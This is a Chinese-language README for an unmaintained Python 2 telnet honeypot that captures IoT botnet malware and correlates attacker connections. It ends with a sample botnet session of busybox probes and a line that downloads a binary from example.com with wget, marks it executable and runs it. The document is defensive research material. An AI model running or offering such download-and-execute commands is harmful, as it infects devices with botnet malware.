本项目已不再维护或开发。它基于 Python2,后者已于2020年达到生命周期终点,同时使用的依赖项随时间推移越来越难以安装。请自行承担使用风险!
'用于捕获僵尸网络二进制程序的 Python telnet 蜜罐'
该项目实现了一个 Python telnet 服务器,旨在充当针对物联网恶意软件的蜜罐,这些恶意软件通过互联网上 telnet 服务器上极其不安全的默认密码进行传播。
蜜罐的工作原理是模拟 shell 环境,类似于 cowrie (https://github.com/micheloosterhof/cowrie)。该项目的主要目标是自动分析僵尸网络连接,并通过关联不同的连接甚至网络来“映射”僵尸网络。
该应用程序采用客户端/服务器架构,客户端(即实际的蜜罐)接受 telnet 连接,而服务器接收有关连接的信息并进行分析。
后端服务器暴露一个 HTTP 接口,用于访问前端以及让客户端向后端推送新的连接信息。
后端使用两种不同的机制来自动关联连接:
网络是被发现的僵尸网络。一个网络是所有关联的连接、URL 和样本的集合。当 URL 和样本在连接中被使用时,它们被关联。当两个连接由同一个蜜罐客户端(支持多个客户端!)接收,并且在短时间内(默认 2 分钟)使用相同的凭据,或者来自同一个 IP 地址时,这两个连接被关联。
如果多个网络会话期间输入的文本大部分相同,则识别为使用相同类型的恶意软件。这种比较是通过一种“哈希”函数进行的,该函数将一次会话(或连接)转换为一个单词序列,然后将每个单词映射为一个字节,从而使得生成的字节序列易于搜索。
该应用程序有一个名为 config.py 的配置文件。包含了本地部署和客户端/服务器部署的示例。
后端需要一个 SQL 数据库(默认 sqlite),该数据库在首次运行时初始化。在首次运行之前,您应该生成一个管理员账户,用于创建更多用户。管理员账户也可以直接由客户端用来提交连接。当需要连接多个蜜罐时,建议创建多个用户。
bash create_config.sh
客户端和后端都会读取 config.yaml 和 config.dist.yaml 文件以获取配置参数。config.dist.yaml 文件包含除管理员用户凭据之外的所有参数的默认值,这些参数会被 config.yaml 文件中的条目覆盖。
python backend.py
该项目包含自己的蜜罐,但由于其客户端/服务器架构,也可以使用其他蜜罐。
python honeypot.py
客户端无法在没有服务器运行的情况下启动。要为客户端使用不同的配置,可以使用 -c 开关,如下所示:
python honeypot.py -c myconfig.yaml
如果您只想检查蜜罐功能,可以以交互模式启动客户端:
python honeypot shell
我为 cowrie 编写了一个输出插件,该插件具有比内置蜜罐更多的功能。如果您想使用 cowrie,请查看我的分支,其中包含了输出模块: https://github.com/Phype/cowrie 。
服务器启动后,在您喜欢的浏览器中打开 http://127.0.0.1/。
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


